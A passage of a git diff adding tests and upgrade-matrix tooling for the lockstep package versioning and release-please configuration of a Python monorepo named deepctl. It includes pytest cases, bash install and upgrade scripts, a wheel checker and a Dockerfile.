-        packages={"deepctl-core": "0.4.0"},
+def test_extras_and_markers_are_not_exact_pins(tmp_path: Path) -> None:
+    ws = make_workspace(tmp_path)
+    edit(
+        ws / "pyproject.toml",
+        '"deepctl-core==1.0.0"',
+        "\"deepctl-core==1.0.0; python_version >= '3.10'\"",
     )
+    assert run_check(ws).returncode == 1
+
+
+def test_missing_workspace_source_fails(tmp_path: Path) -> None:
+    ws = make_workspace(tmp_path)
+    edit(sibling(ws, "deepctl-cmd-keys"), "deepctl = { workspace = true }\n", "")
+
+    result = run_check(ws)
 
-    result = run_guard(workspace)
     assert result.returncode == 1
-    assert "root floor deepctl-core>=0.3.0 != workspace version 0.4.0" in result.stderr
+    assert "has no `deepctl = { workspace = true }`" in result.stderr
+    assert run_check(ws, "--fix").returncode == 0
 
 
-def test_missing_root_dependency_still_fails(tmp_path: Path) -> None:
-    """Positive control: rule 3 keeps catching an unlisted package."""
-    workspace = make_workspace(
-        tmp_path,
-        root_deps=["deepctl-core>=0.4.0"],
-        packages={"deepctl-core": "0.4.0", "deepctl-cmd-keys": "0.1.0"},
-    )
+def test_sibling_manifest_entry_fails(tmp_path: Path) -> None:
+    """Siblings no longer have their own release-please component."""
+    ws = make_workspace(tmp_path)
+    manifest = ws / ".github" / ".release-please-manifest.json"
+    data = json.loads(manifest.read_text("utf-8"))
+    data["packages/deepctl-cmd-keys"] = "1.0.0"
+    manifest.write_text(json.dumps(data), encoding="utf-8")
 
-    result = run_guard(workspace)
+    result = run_check(ws)
     assert result.returncode == 1
-    assert "deepctl-cmd-keys is published but is not a root dependency" in result.stderr
+    assert "'packages/deepctl-cmd-keys' is a lockstep package" in result.stderr
+
+    assert run_check(ws, "--fix").returncode == 0
+    assert set(json.loads(manifest.read_text("utf-8"))) == {
+        ".",
+        "packages/deepctl-plugin-example",
+    }
+
 
+def test_dunder_version_drift_fails(tmp_path: Path) -> None:
+    ws = make_workspace(tmp_path)
+    edit(ws / "src" / "deepctl" / "__init__.py", '"1.0.0"', '"0.9.0"')
+    assert run_check(ws).returncode == 1
+    assert run_check(ws, "--fix").returncode == 0
 
-def test_unsatisfiable_sub_package_floor_still_fails(tmp_path: Path) -> None:
-    """Positive control: rule 2 keeps catching a floor above the sibling."""
-    workspace = make_workspace(
-        tmp_path,
-        root_deps=["deepctl-core>=0.4.0", "deepctl-cmd-keys>=0.1.0"],
-        packages={"deepctl-core": "0.4.0", "deepctl-cmd-keys": "0.1.0"},
+
+def test_first_party_dependency_outside_the_lockstep_set_fails(tmp_path: Path) -> None:
+    ws = make_workspace(tmp_path)
+    edit(
+        sibling(ws, "deepctl-cmd-keys"),
+        '    "click>=8.0.0,<9",\n',
+        '    "click>=8.0.0,<9",\n    "deepctl-plugin-example>=0.1",\n',
     )
-    keys = workspace / "packages" / "deepctl-cmd-keys" / "pyproject.toml"
+
+    result = run_check(ws)
+
+    assert result.returncode == 1
+    assert (
+        "depends on deepctl-plugin-example, which is not a lockstep package"
+        in result.stderr
+    )
+
+
+def test_plugin_example_is_not_pinned_but_must_accept_the_version(
+    tmp_path: Path,
+) -> None:
+    ws = make_workspace(tmp_path)
+    example = sibling(ws, "deepctl-plugin-example")
+    assert run_check(ws).returncode == 0  # its `>=` floor is fine
+
+    edit(example, '"deepctl-core>=0.1.10"', '"deepctl-core>=9.9.9"')
+    result = run_check(ws)
+
+    assert result.returncode == 1
+    assert "does not accept the lockstep version 1.0.0 (unsatisfiable)" in result.stderr
+
+
+@pytest.mark.parametrize("version", ["1.0.0rc1", "1.0.0.dev1", "0.5.0.post1"])
+def test_fix_then_check_round_trips_on_pre_release_versions(
+    tmp_path: Path, version: str
+) -> None:
+    """A pre-release root version must not turn --fix into a loop."""
+    ws = make_workspace(tmp_path)
+    edit(ws / "pyproject.toml", 'version = "1.0.0"', f'version = "{version}"')
+
+    assert run_check(ws).returncode == 1
+    fix = run_check(ws, "--fix")
+    assert fix.returncode == 0, fix.stderr
+    assert f'"deepctl-core=={version}"' in (ws / "pyproject.toml").read_text("utf-8")
+    assert run_check(ws).returncode == 0
+
+
+def test_single_line_dependency_array_is_reported_not_guessed(tmp_path: Path) -> None:
+    ws = make_workspace(tmp_path)
+    keys = sibling(ws, "deepctl-cmd-keys")
+    text = keys.read_text("utf-8")
+    start = text.index("dependencies = [")
+    end = text.index("]\n", start) + 2
     keys.write_text(
-        '[project]\nname = "deepctl-cmd-keys"\nversion = "0.1.0"\n'
-        'dependencies = ["deepctl-core>=9.9.9"]\n',
+        text[:start] + 'dependencies = ["deepctl==1.0.0"]\n' + text[end:],
         encoding="utf-8",
     )
 
-    result = run_guard(workspace)
+    result = run_check(ws, "--fix")
+
     assert result.returncode == 1
-    assert "exceeds workspace version 0.4.0 (unsatisfiable)" in result.stderr
+    assert "must be a multi-line array" in result.stderr
 
 
-def test_final_release_floor_above_a_pre_release_is_unsatisfiable(
-    tmp_path: Path,
-) -> None:
-    """0.4.0 is not satisfied by 0.4.0rc1, and the guard must say so.
+# -- layouts the line scan can't read must fail closed ------------------------
+
+LAYOUTS = {
+    "single quotes": "    'deepctl-cmd-listen==1.0.0',\n",
+    "two on one line": '    "deepctl-cmd-listen==1.0.0", "httpx>=0.24",\n',
+}
 
-    Comparing only the numeric segments made these two look identical.
-    """
-    workspace = make_workspace(
-        tmp_path,
-        root_deps=["deepctl-core>=0.4.0rc1", "deepctl-cmd-keys>=0.1.0"],
-        packages={"deepctl-core": "0.4.0rc1", "deepctl-cmd-keys": "0.1.0"},
+
+@pytest.mark.parametrize("layout", ["single quotes", "two on one line"])
+def test_unreadable_first_party_line_fails_closed(tmp_path: Path, layout: str) -> None:
+    """A requirement the line scan skips must not pass as "lockstep OK"."""
+    ws = make_workspace(tmp_path)
+    edit(
+        sibling(ws, "deepctl-cmd-keys"),
+        '    "click>=8.0.0,<9",\n',
+        '    "click>=8.0.0,<9",\n' + LAYOUTS[layout],
+    )
+
+    result = run_check(ws)
+
+    assert result.returncode == 1, result.stdout
+    assert (
+        "packages/deepctl-cmd-keys/pyproject.toml: deepctl-cmd-listen: a"
+        " first-party requirement must be on its own double-quoted line"
+    ) in result.stderr
+    # --fix can't safely rewrite it either; it stays a hand edit.
+    assert run_check(ws, "--fix").returncode == 1
+
+
+def test_well_formed_multi_line_array_passes(tmp_path: Path) -> None:
+    """Control: one double-quoted requirement per line, comments allowed."""
+    ws = make_workspace(tmp_path)
+    edit(
+        sibling(ws, "deepctl-cmd-keys"),
+        '    "click>=8.0.0,<9",\n',
+        '    # a comment line\n    "click>=8.0.0,<9",  # trailing comment\n',
     )
-    keys = workspace / "packages" / "deepctl-cmd-keys" / "pyproject.toml"
+    result = run_check(ws)
+    assert result.returncode == 0, result.stderr
+
+
+@pytest.mark.parametrize(
+    "spec",
+    ["deepctl-core[speech]==1.0.0", "deepctl-core==1.0.0; python_version >= '3.10'"],
+    ids=["extras", "marker"],
+)
+def test_extras_or_marker_on_a_pin_fail(tmp_path: Path, spec: str) -> None:
+    ws = make_workspace(tmp_path)
+    edit(sibling(ws, "deepctl-cmd-keys"), '"deepctl-core==1.0.0"', f'"{spec}"')
+
+    result = run_check(ws)
+
+    assert result.returncode == 1
+    assert "must be exactly 'deepctl-core==1.0.0'" in result.stderr
+
+
+@pytest.mark.parametrize(
+    "table",
+    [
+        '\n[project.optional-dependencies]\nspeech = ["deepctl-cmd-listen>=0.1"]\n',
+        '\n[dependency-groups]\ndev = ["deepctl-cmd-listen>=0.1"]\n',
+    ],
+    ids=["optional-dependencies", "dependency-groups"],
+)
+def test_lockstep_package_outside_project_dependencies_fails(
+    tmp_path: Path, table: str
+) -> None:
+    ws = make_workspace(tmp_path)
+    keys = sibling(ws, "deepctl-cmd-keys")
+    text = keys.read_text("utf-8")
+    # Put the table before [tool.uv.sources] so the TOML stays valid.
     keys.write_text(
-        '[project]\nname = "deepctl-cmd-keys"\nversion = "0.1.0"\n'
-        'dependencies = ["deepctl-core>=0.4.0"]\n',
-        encoding="utf-8",
+        text.replace("\n[tool.uv.sources]", table + "\n[tool.uv.sources]", 1), "utf-8"
     )
 
-    result = run_guard(workspace)
+    result = run_check(ws)
+
     assert result.returncode == 1
-    assert "exceeds workspace version 0.4.0rc1 (unsatisfiable)" in result.stderr
+    assert "requires the lockstep package deepctl-cmd-listen" in result.stderr
+
+
+def test_short_version_is_not_an_exact_pin(tmp_path: Path) -> None:
+    """release-please rewrites X.Y.Z literally; `==1.0` would be left behind."""
+    ws = make_workspace(tmp_path)
+    edit(
+        sibling(ws, "deepctl-cmd-keys"), '"deepctl-core==1.0.0"', '"deepctl-core==1.0"'
+    )
+    assert run_check(ws).returncode == 1
+
+
+def test_version_outside_project_table_is_ignored(tmp_path: Path) -> None:
+    """Only [project].version counts, not the first `version =` in the file."""
+    ws = make_workspace(tmp_path)
+    keys = sibling(ws, "deepctl-cmd-keys")
+    keys.write_text(
+        '[tool.example]\nversion = "9.9.9"\n\n' + keys.read_text("utf-8"), "utf-8"
+    )
+    result = run_check(ws)
+    assert result.returncode == 0, result.stderr
diff --git a/tests/unit/test_release_config.py b/tests/unit/test_release_config.py
new file mode 100644
index 00000000..af8dcf4b
--- /dev/null
+++ b/tests/unit/test_release_config.py
@@ -0,0 +1,121 @@
+"""Static checks on the release-please config for lockstep versions.
+
+One release-please component (`.`) versions every first-party package: its
+`extra-files` move each sibling's `version` and every `==` pin line that
+carries the `x-release-please-version` marker, so one release PR proposes one
+version and one tag. The plugin example is the only other component: it is the
+third-party fixture and versions on its own.
+
+`tests/upgrade/release-please/run.sh` runs release-please itself over the tree;
+these tests catch a config edit that would make that run drift.
+"""
+
+from __future__ import annotations
+
+import json
+import re
+from pathlib import Path
+
+REPO = Path(__file__).resolve().parents[2]
+CONFIG = json.loads(
+    (REPO / ".github" / "release-please-config.json").read_text("utf-8")
+)
+MANIFEST = json.loads(
+    (REPO / ".github" / ".release-please-manifest.json").read_text("utf-8")
+)
+EXAMPLE = "packages/deepctl-plugin-example"
+MARKER = "x-release-please-version"
+SIBLINGS = sorted(
+    p.parent.relative_to(REPO).as_posix()
+    for p in (REPO / "packages").glob("*/pyproject.toml")
+    if p.parent.relative_to(REPO).as_posix() != EXAMPLE
+)
+ROOT = CONFIG["packages"]["."]
+
+
+def extra_paths(kind: str) -> list[str]:
+    out = []
+    for entry in ROOT.get("extra-files", []):
+        path = entry["path"] if isinstance(entry, dict) else entry
+        if path.endswith(kind):
+            out.append(path)
+    return out
+
+
+def test_there_are_29_lockstep_siblings() -> None:
+    assert len(SIBLINGS) == 29, SIBLINGS
+
+
+def test_one_lockstep_component() -> None:
+    """The root is the only component besides the plugin example."""
+    assert set(CONFIG["packages"]) == {".", EXAMPLE}
+    assert ROOT["component"] == "deepctl"
+    assert ROOT["include-component-in-tag"] is False
+    assert ROOT["make-latest"] is True
+    assert CONFIG["packages"][EXAMPLE]["make-latest"] is False
+    assert CONFIG.get("separate-pull-requests") is False
+
+
+def test_root_ignores_plugin_example_commits() -> None:
+    """A commit that only touches the example must not cut a CLI release."""
+    assert EXAMPLE in ROOT.get("exclude-paths", [])
+
+
+def test_manifest_matches_the_components() -> None:
+    assert set(MANIFEST) == set(CONFIG["packages"])
+
+
+def test_extra_files_cover_exactly_the_sibling_pyprojects() -> None:
+    sibling_tomls = sorted(p for p in extra_paths(".toml") if p != "pyproject.toml")
+    assert sibling_tomls == sorted(f"{s}/pyproject.toml" for s in SIBLINGS)
+    # The root pyproject is listed too, so its pin lines move with the version.
+    assert "pyproject.toml" in extra_paths(".toml")
+
+
+def test_toml_extra_files_use_the_generic_marker_updater() -> None:
+    """A bare `.toml` path also runs a `$.version` TOML updater that matches
+    nothing in a pyproject and warns on every release; `generic` only rewrites
+    lines carrying the marker, which is what the pins need."""
+    for entry in ROOT["extra-files"]:
+        path = entry["path"] if isinstance(entry, dict) else entry
+        if path.endswith(".toml"):
+            assert entry == {"type": "generic", "path": path}
+
+
+def test_every_marked_version_file_is_an_extra_file() -> None:
+    marked = sorted(
+        p.relative_to(REPO).as_posix()
+        for p in [
+            REPO / "src" / "deepctl" / "__init__.py",
+            *(REPO / "packages").glob("*/src/*/__init__.py"),
+        ]
+        if MARKER in p.read_text("utf-8") and EXAMPLE not in p.as_posix()
+    )
+    assert marked
+    assert sorted(extra_paths(".py")) == marked
+
+
+def test_every_first_party_pin_line_carries_the_marker() -> None:
+    """Any `deepctl*==` requirement without the marker would be left behind."""
+    pin = re.compile(r"[\"']deepctl[a-z0-9-]*\s*==")
+    unmarked = []
+    pins = 0
+    for path in [
+        REPO / "pyproject.toml",
+        *(REPO / "packages").glob("*/pyproject.toml"),
+    ]:
+        for n, line in enumerate(path.read_text("utf-8").splitlines(), 1):
+            if pin.search(line):
+                pins += 1
+                if MARKER not in line:
+                    unmarked.append(f"{path.relative_to(REPO)}:{n}")
+    assert not unmarked
+    # Root -> 29 siblings, plus every sibling's back-edge to the root.
+    assert pins >= 29 + 29
+
+
+def test_every_lockstep_version_line_carries_the_marker() -> None:
+    for rel in [".", *SIBLINGS]:
+        text = (REPO / rel / "pyproject.toml").read_text("utf-8")
+        line = next(ln for ln in text.splitlines() if ln.startswith("version"))
+        assert MARKER in line, rel
diff --git a/tests/upgrade/cells/lockstep.sh b/tests/upgrade/cells/lockstep.sh
new file mode 100755
index 00000000..18bb6f6a
--- /dev/null
+++ b/tests/upgrade/cells/lockstep.sh
@@ -0,0 +1,76 @@
+#!/bin/bash
+# Lockstep cells: fresh installs at CUR, -U of every dist from CUR to NEXT,
+# upgrades from field versions to CUR, and the dependency-prerelease guard.
+# Usage: lockstep.sh fresh|bump-pip|bump-uv|field|prerelease
+source /s/lib.sh
+N=$(lockstep_dists | wc -l)
+FD=$(field_dirs)
+mk FIELD $WH $FD                       # what users have before CUR ships
+mk CUR   $WH $FD $LCUR                 # CUR published
+mk NEXT  $WH $FD $LCUR $LNEXT          # NEXT published
+for V in $FIELD; do                    # each field version as "latest" (newer roots hidden)
+  hide=""; for U in $FIELD $CUR; do [ "$(printf '%s\n%s\n' "$V" "$U" | sort -V | tail -1)" != "$V" ] && hide="$hide,deepctl-$U"; done
+  mk AT-$V $WH:-${hide#,} $([ -n "$FD" ] && for d in $FD; do printf '%s:-%s ' $d "${hide#,}"; done)
+done
+serve
+LS="--expect-dists $N --expect-all --min-commands 23"
+case "$1" in
+fresh)  # a fresh install of CUR resolves exactly the lockstep set, with every tool
+  setidx CUR
+  pipvenv /f; x /f/bin/pip install deepctl==$CUR; pp L-fresh-pip-install /f --expect-version $CUR $LS
+  rm -rf /u; uv venv -q /u; x env VIRTUAL_ENV=/u uv pip install deepctl==$CUR; up L-fresh-uv-pip-install uv /u --expect-version $CUR $LS
+  export UV_TOOL_DIR=/tmp/ut UV_TOOL_BIN_DIR=/tmp/ub; rm -rf /tmp/ut /tmp/ub
+  x uv tool install deepctl==$CUR; probe L-fresh-uv-tool-install /tmp/ut/deepctl/bin/python /tmp/ub/dg "uv pip check --python /tmp/ut/deepctl/bin/python" --expect-version $CUR $LS
+  for BK in uv pip; do
+    export PIPX_HOME=/tmp/px-$BK PIPX_BIN_DIR=/tmp/pb-$BK PIPX_DEFAULT_BACKEND=$BK
+    x pipx install deepctl==$CUR; probe L-fresh-pipx-$BK-install /tmp/px-$BK/venvs/deepctl/bin/python /tmp/pb-$BK/dg "pipx runpip deepctl check" --expect-version $CUR $LS
+  done
+  unset PIPX_DEFAULT_BACKEND
+  ;;
+bump-pip|bump-uv)  # -U of any one dist from a CUR install moves the whole set to NEXT
+  setidx CUR; pipvenv /base; /base/bin/pip -q install deepctl==$CUR
+  rm -rf /ubase; uv venv -q /ubase; VIRTUAL_ENV=/ubase uv pip install -q deepctl==$CUR
+  clone(){ rm -rf $2; cp -a $1 $2; sed -i "s#$1#$2#g" $2/bin/* $2/pyvenv.cfg 2>/dev/null; }
+  setidx NEXT
+  for R in $(lockstep_dists); do
+    if [ "$1" = bump-pip ]; then
+      clone /base /n; x /n/bin/pip install -U $R; pp L-bump-pip-U-$R /n --expect-version $NEXT $LS
+    else
+      clone /ubase /n; x env VIRTUAL_ENV=/n uv pip install -U $R; up L-bump-uv-pip-U-$R uv /n --expect-version $NEXT $LS
+    fi
+  done
+  ;;
+field)  # upgrades from every field version to CUR, with pip, uv tool and pipx
+  export UV_TOOL_DIR=/tmp/ut UV_TOOL_BIN_DIR=/tmp/ub PIPX_HOME=/tmp/px PIPX_BIN_DIR=/tmp/pb
+  for V in $FIELD; do
+    setidx AT-$V
+    if [ -f /w/pins/env-$V.txt ]; then old_pip $V /p; else pipvenv /p; /p/bin/pip -q install deepctl==$V; fi
+    pp L-field-$V-start-pip /p --expect-version $V --min-commands 20
+    setidx CUR; x /p/bin/pip install -U deepctl; pp L-field-$V-pip-U-deepctl /p --expect-version $CUR $LS
+    rm -rf /tmp/ut /tmp/ub; setidx AT-$V; x uv tool install deepctl
+    setidx CUR; x uv tool upgrade deepctl; probe L-field-$V-uv-tool-upgrade /tmp/ut/deepctl/bin/python /tmp/ub/dg "uv pip check --python /tmp/ut/deepctl/bin/python" --expect-version $CUR $LS
+    rm -rf /tmp/px /tmp/pb; setidx AT-$V; x pipx install deepctl
+    setidx CUR; x pipx upgrade deepctl; probe L-field-$V-pipx-upgrade /tmp/px/venvs/deepctl/bin/python /tmp/pb/dg "pipx runpip deepctl check" --expect-version $CUR $LS
+  done
+  ;;
+prerelease)  # a third-party major prerelease can't get in; the uncapped control can
+  setidx CUR
+  BETA=$(ls $WH | grep -E '^sentry_sdk-3\.0\.0(a|b|rc)[0-9]+-' | head -1 | cut -d- -f2)
+  [ -n "$BETA" ] || { verdict 0 L-pre-fixture "no sentry-sdk 3.0 prerelease wheel in the wheelhouse"; exit 0; }
+  pipvenv /q; x /q/bin/pip install deepctl==$CUR sentry-sdk==$BETA; rc=$?
+  verdict $([ $rc -ne 0 ] && ! /q/bin/pip show -q deepctl >/dev/null 2>&1 && echo 1 || echo 0) L-pre-pip-forced-$BETA "pip install deepctl==$CUR sentry-sdk==$BETA must not resolve (rc=$rc)"
+  rm -rf /u; uv venv -q /u; x env VIRTUAL_ENV=/u uv pip install deepctl==$CUR sentry-sdk==$BETA; rc=$?
+  verdict $([ $rc -ne 0 ] && echo 1 || echo 0) L-pre-uv-forced-$BETA "uv pip install deepctl==$CUR sentry-sdk==$BETA must not resolve (rc=$rc)"
+  pipvenv /q; /q/bin/pip -q install deepctl==$CUR; x /q/bin/pip install --pre -U deepctl
+  S=$(/q/bin/pip show sentry-sdk 2>/dev/null | sed -n 's/^Version: //p')
+  verdict $(case "$S" in 2.*) echo 1;; *) echo 0;; esac) L-pre-pip-pre-U "pip --pre -U deepctl keeps sentry-sdk on 2.x (got $S)"
+  pp L-pre-pip-pre-U-loads /q --expect-version $CUR $LS
+  OLD=$(echo $FIELD | tr ' ' '\n' | grep -x 0.4.0 || true)
+  if [ -n "$OLD" ]; then  # control: the uncapped 0.4.0 resolves with the beta (and breaks)
+    setidx AT-0.4.0; pipvenv /c; x /c/bin/pip install deepctl==0.4.0 sentry-sdk==$BETA; rc=$?
+    verdict $([ $rc -eq 0 ] && echo 1 || echo 0) L-pre-control-0.4.0-uncapped "the uncapped 0.4.0 resolves with sentry-sdk $BETA (rc=$rc)"
+    /c/bin/dg --help >/tmp/c.out 2>&1; echo "  control dg --help rc=$? $(grep -m1 -o "has no attribute '[a-z_]*'" /tmp/c.out)"
+  fi
+  ;;
+*) echo "usage: lockstep.sh fresh|bump-pip|bump-uv|field|prerelease"; exit 2 ;;
+esac
diff --git a/tests/upgrade/check_wheels.py b/tests/upgrade/check_wheels.py
new file mode 100644
index 00000000..b0c103ab
--- /dev/null
+++ b/tests/upgrade/check_wheels.py
@@ -0,0 +1,85 @@
+"""Check built wheels for lockstep versions, with pkginfo.
+
+Usage: python check_wheels.py DIST_DIR VERSION [EXAMPLE_VERSION]
+
+DIST_DIR holds the output of `uv build --all-packages --wheel`: the 30
+lockstep dists plus the plugin example. Every lockstep wheel's Version must be
+VERSION and every Requires-Dist on a first-party dist must be exactly
+`==VERSION`. Every sibling requires `deepctl==VERSION`, and the root requires
+all 29 siblings. The plugin example keeps its own version and its `>=` floor.
+"""
+
+from __future__ import annotations
+
+import re
+import sys
+from pathlib import Path
+
+from pkginfo import Wheel
+
+dist_dir, version = Path(sys.argv[1]), sys.argv[2]
+example_version = sys.argv[3] if len(sys.argv) > 3 else None
+EXAMPLE = "deepctl-plugin-example"
+fails = 0
+
+
+def check(ok: bool, msg: str) -> None:
+    global fails
+    print(("PASS " if ok else "FAIL ") + msg)
+    fails += not ok
+
+
+def norm(name: str) -> str:
+    return re.sub(r"[-_.]+", "-", name).lower()
+
+
+wheels = {}
+for path in sorted(dist_dir.glob("*.whl")):
+    w = Wheel(str(path))
+    wheels[norm(w.name)] = w
+lockstep = {n: w for n, w in wheels.items() if n != EXAMPLE}
+check(len(wheels) == 31, f"31 wheels ({len(wheels)})")
+check(len(lockstep) == 30 and "deepctl" in lockstep, f"30 lockstep dists incl. root ({len(lockstep)})")
+check(
+    all(w.version == version for w in lockstep.values()),
+    f"every lockstep Version == {version}"
+    f" (off: {sorted((n, w.version) for n, w in lockstep.items() if w.version != version)})",
+)
+
+req = re.compile(r"^\s*(?P<name>deepctl[A-Za-z0-9._-]*)\s*(?P<spec>[^;]*)(?P<marker>;.*)?$")
+edges = 0
+for name, w in sorted(lockstep.items()):
+    first_party = {}
+    for r in w.requires_dist:
+        m = req.match(r)
+        if not m:
+            continue
+        edges += 1
+        first_party[norm(m.group("name"))] = (m.group("spec").replace(" ", ""), m.group("marker"))
+    bad = {
+        dep: spec
+        for dep, (spec, marker) in first_party.items()
+        if spec != f"=={version}" or marker or dep not in lockstep
+    }
+    check(not bad, f"{name}: every first-party Requires-Dist =={version} (bad: {bad})")
+    if name == "deepctl":
+        check(
+            set(first_party) == set(lockstep) - {"deepctl"},
+            f"root requires all 29 siblings ({len(first_party)})",
+        )
+    else:
+        check("deepctl" in first_party, f"{name}: back-edge deepctl=={version}")
+check(edges >= 29 + 29, f"{edges} first-party edges")
+
+ex = wheels.get(EXAMPLE)
+check(ex is not None, "plugin example built")
+if ex is not None:
+    if example_version:
+        check(ex.version == example_version, f"plugin example version {ex.version} untouched")
+    ex_fp = [r for r in ex.requires_dist if r.startswith("deepctl")]
+    check(
+        all(">=" in r and "==" not in r for r in ex_fp),
+        f"plugin example keeps its floor: {ex_fp}",
+    )
+print(f"check_wheels: {fails} failures")
+sys.exit(1 if fails else 0)
diff --git a/tests/upgrade/image/Dockerfile b/tests/upgrade/image/Dockerfile
new file mode 100644
index 00000000..a4b19322
--- /dev/null
+++ b/tests/upgrade/image/Dockerfile
@@ -0,0 +1,9 @@
+# Upgrade-matrix runner. Network at build time only (PyPI); every cell runs
+# with --network none against a local PEP 503 index.
+FROM python:3.12-slim
+ENV PIP_DISABLE_PIP_VERSION_CHECK=1 PIP_ROOT_USER_ACTION=ignore
+RUN pip install -q "pip==25.3" "pipx==1.18.11" "uv==0.13.6" \
+ && pip install -q --target /opt/uv08 "uv==0.8.24" \
+ && ln -s /opt/uv08/bin/uv /usr/local/bin/uv08 \
+ && pip --version && uv --version && uv08 --version && pipx --version
+ENV DEEPCTL_TELEMETRY_DISABLED=1 DEEPCTL_TELEMETRY_DSN=http://k@127.0.0.1:9/1 CI=1
diff --git a/tests/upgrade/layout/aggregate.py b/tests/upgrade/layout/aggregate.py
new file mode 100644
index 00000000..0ed7134c
--- /dev/null
+++ b/tests/upgrade/layout/aggregate.py
@@ -0,0 +1,100 @@
+"""Aggregate out/<group>/results.jsonl into out/matrix.md and out/matrix.tsv with a verdict per cell.
+
+Verdict rules (what the 1.0 layout predicts for the cell, not the probe's first guess):
+  PASS      dg --help and every subcommand --help load, pip check clean, version as predicted
+  PASS*     as PASS, but pip/uv check names only the tombstone(s) the cell itself uninstalled
+            (root keeps tombstones as dependencies through 1.x, so this is by design)
+  PASS-SDK  the cell installs only deepctl-core 0.x (no CLI), which is what the window predicts
+  FAIL      anything else (root cause in report.md)"""
+import json
+import re
+import sys
+from pathlib import Path
+
+OUT = Path(sys.argv[1])
+GROUPS = ["pip", "siblings", "windows", "uv-latest", "uv-0.8", "pipx", "pipx-pipbackend", "next", "backedge", "rc", "uvx-uv", "uvx-uv08"]
+
+
+def predicted(cell: str, r: dict) -> str | None:
+    """Predicted root version (None = any 0.x, '' = no root expected)."""
+    c = cell
+    if c.startswith("Y-Y100root"):
+        return "counterfactual"
+    if "fresh" in c and "install-core" in c and c.startswith(("W-", "Y-")):
+        return ""
+    if c.startswith("W-"):
+        return None  # windows: must stay on 0.x
+    if c.startswith("Y-Y100pair"):
+        return None  # pair yanked: must not land on 1.0.0
+    if c.startswith("Y-Y100root"):
+        return "counterfactual"
+    if c.startswith("S-I050"):
+        return None
+    if c.startswith("A4-"):
+        return None
+    if "-uvx-cached-after-1.0-publish" in c:
+        return "any"
+    return r.get("expect") or None
+
+
+def verdict(r: dict) -> tuple[str, str]:
+    cell = r["cell"]
+    loads = r["n_help_failures"] == 0 and r["n_top_commands"] >= 23
+    pv = predicted(cell, r)
+    chk = " ".join(r["pip_check"])
+    tomb_only = (not r["pip_check_ok"]) and all(
+        re.search(r"requires .?deepctl-(cmd-[a-z-]+|shared-utils|telemetry)", line) or line.startswith(("Using Python", "Checked", "Found", "'"))
+        for line in r["pip_check"]) and "uninstall" in cell
+    if pv == "":
+        ok = r["root"] == "absent" and r["core"].startswith("0.") and r["pip_check_ok"]
+        return ("PASS-SDK" if ok else "FAIL"), f"core {r['core']} only"
+    if pv == "counterfactual":
+        return "INFO", f"root={r['root']} core={r['core']} (root-only yank)"
+    if pv == "any":
+        ver_ok = True
+    elif pv is None:
+        ver_ok = r["root"].startswith("0.") and not r["core"].startswith("1.")
+    else:
+        ver_ok = r["root"] == pv and pv in r["dg_version"]
+    if loads and ver_ok and r["pip_check_ok"]:
+        return "PASS", ""
+    if loads and ver_ok and tomb_only:
+        return "PASS*", "check names the uninstalled tombstone(s)"
+    why = []
+    if not loads:
+        why.append(f"dg load failure: {(r['help_failures'][0][2] if r['help_failures'] else 'no commands').strip()[:90]}")
+    if not ver_ok:
+        why.append(f"root {r['root']} (predicted {pv or '0.x'})")
+    if not r["pip_check_ok"] and not tomb_only:
+        why.append(f"check: {chk[:90]}")
+    return "FAIL", "; ".join(why)
+
+
+rows = []
+for g in GROUPS:
+    f = OUT / g / "results.jsonl"
+    if not f.exists():
+        continue
+    for line in f.read_text().splitlines():
+        if g in ("uv-latest", "uv-0.8") and "-uvx-" in line and (OUT / "uvx-uv" / "results.jsonl").exists():
+            continue  # superseded by the uvx-* re-run (first run hit harness timeouts)
+        r = json.loads(line)
+        v, why = verdict(r)
+        rows.append((g, r, v, why))
+tsv = ["group\tcell\tverdict\troot\tcore\tsiblings\tdg_version\tcheck_clean\ttop+sub_cmds\thelp_failures\twhy"]
+md = ["| Group | Cell | Verdict | root | core | siblings | `pip check` | cmds loaded | Note |", "|---|---|---|---|---|---|---|---|---|"]
+for g, r, v, why in rows:
+    sib = ",".join(r["sibling_versions"]) if len(r["sibling_versions"]) <= 2 else "mixed 0.x (0.4.0-era)"
+    cmds = f"{r['n_top_commands']}+{r['n_sub_commands']}" + (f" ({r['n_help_failures']} fail)" if r["n_help_failures"] else "")
+    chk = "clean" if r["pip_check_ok"] else "; ".join(x for x in r["pip_check"] if not x.startswith(("Using Python", "Checked")))[:80]
+    tsv.append("\t".join(map(str, [g, r["cell"], v, r["root"], r["core"], sib, r["dg_version"], r["pip_check_ok"], cmds, r["n_help_failures"], why])))
+    md.append(f"| {g} | `{r['cell']}` | **{v}** | {r['root']} | {r['core']} | {sib} | {chk} | {cmds} | {(why or r.get('note',''))[:110]} |")
+counts = {}
+for _, _, v, _ in rows:
+    counts[v] = counts.get(v, 0) + 1
+(OUT / "matrix.tsv").write_text("\n".join(tsv) + "\n")
+(OUT / "matrix.md").write_text(f"Totals: {counts}\n\n" + "\n".join(md) + "\n")
+print(counts)
+for g, r, v, why in rows:
+    if v in ("FAIL", "INFO"):
+        print(v, g, r["cell"], "|", why)
diff --git a/tests/upgrade/layout/build_wheels.sh b/tests/upgrade/layout/build_wheels.sh
new file mode 100755
index 00000000..79f8e20e
--- /dev/null
+++ b/tests/upgrade/layout/build_wheels.sh
@@ -0,0 +1,17 @@
+#!/bin/sh
+# Runs INSIDE python:3.12 (network: PyPI only, for build backends). Mounts:
+#   /src (ro) a clean `git archive` of the tree under test   /s (ro) scripts   /w work dir (rw)
+# Builds the lockstep layout at 0.5.0 and 0.6.0 and the planned 1.0 layout at
+# 1.0.0rc1 and 1.0.0, one wheel dir per version: /w/wheels-<V>.
+set -eu
+pip -q install --disable-pip-version-check "setuptools>=61" wheel hatchling build packaging >/dev/null
+for spec in "lockstep 0.5.0" "lockstep 0.6.0" "relocated 1.0.0rc1" "relocated 1.0.0"; do
+  set -- $spec; MODE=$1; V=$2
+  rm -rf /w/tree-$V /w/wheels-$V; mkdir -p /w/wheels-$V
+  python -I /s/mk_layouts.py /src /w/tree-$V $MODE $V > /w/projs-$V.txt
+  while read -r P; do
+    pip -q wheel --no-deps --no-build-isolation --disable-pip-version-check -w /w/wheels-$V "$P" >/dev/null 2>/w/build-err.txt || { echo "BUILD FAIL $P"; cat /w/build-err.txt; exit 1; }
+  done < /w/projs-$V.txt
+  rm -f /w/wheels-$V/deepctl_plugin_example-*
+  echo "$V: $(ls /w/wheels-$V | wc -l) wheels"
+done
diff --git a/tests/upgrade/layout/fetch.sh b/tests/upgrade/layout/fetch.sh
new file mode 100755
index 00000000..6bb51b58
--- /dev/null
+++ b/tests/upgrade/layout/fetch.sh
@@ -0,0 +1,37 @@
